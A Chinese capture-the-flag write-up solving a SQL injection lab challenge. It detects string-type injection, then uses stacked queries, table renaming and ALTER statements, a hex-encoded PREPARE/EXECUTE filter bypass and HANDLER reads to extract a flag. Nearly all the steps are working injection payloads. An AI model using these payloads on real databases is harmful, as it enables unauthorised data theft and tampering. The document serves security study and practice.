本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,发现一个查询入口,查询不同的数字返回不同的字符串

判断是否为字符型注入

1
1'


判断为字符型注入

确定字段数

1
1' order by 3;#

1
1' order by 2;#


确定字段数为2

爆数据库

1
1' union select database(),version();#


发现联合查询被过滤

改用堆叠注入

1
1';show databases;#

爆表

1
1';show tables;#

爆列

两个表都爆一下;
words表:

1
1';show columns from words;#


1919810931114514 表:

1
1';show columns from `1919810931114514`;#   //数字表名需要用反引号括起来


可以看到words表有id data两个字段,1919810931114514表有最想要的flag字段

爆flag

返回到第一个网页(就是打开靶机进入的第一个网页)
我们输入payload:

1
1' or 1=1;#


发现可以爆出这个表(很像words表的结构,两个字段其中还有id字段)内的所有内容,那我们可以大胆推测这个查询功能的sql语句:

1
select * from words where id = <输入的内容>

所以只能通过查询id字段爆破内容,但1919810931114514表只有flag字段,那怎么办,

方法一

学一招“偷天换日”,flag列储存类型为varchar字符串,刚好words数据表里面的data也是varchar类型,
那么通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。

一种改表方式

payload:

1
1';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#

rename table words to words2;rename table 1919810931114514 to words 将名为”words”的表重命名为”words2”,将名为”1919810931114514”的表重命名为”words”;
alter table words change flag id varchar(100); 修改现在名为words的表(原1919810931114514表;将flag列重命名为id,并将其数据类型改为varchar(100)
show tables; 显示表名,查看是否改表成功。
再次输入:

1
1'or 1=1 ;#


将id列(原flag列)爆出来,获得flag

另一种改表方式

payload:

1
1';rename table words to words2;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);show tables;#

alter table words add id int unsigned not NULL auto_increment primary key;
words表将新增一个名为id的列
该列将:
存储无符号整数值
不允许NULL值
自动生成递增值(1,2,3……)
作为表的主键
alter table words change flag data varchar(100);将”words”表中的”flag”列改名为”data”并修改其数据类型为varchar(100)

直接查询1就可以获得flag

方法二

由于select被过滤,但是我们考虑使用编码进行绕过
构筑payload:

1
2
3
4
5
select * from `1919810931114514`
进行16进制编码加密
73656c656374202a2066726f6d20603139313938313039333131313435313460
最终payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare payload from @a;execute payload;#

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由prepare创建的SQL语句。
将十六进制字符串赋值给变量@a,从变量@a准备一个名为payload的预处理语句,执行预处理语句execsql,即执行select * from 1919810931114514

获得flag

方法三

select命令被过滤了,sql语句不止你一种查询语句,我们试试handler命令进行查看
payload:

1
1'; handler `1919810931114514` open ; handler `1919810931114514` read next;#


获得flag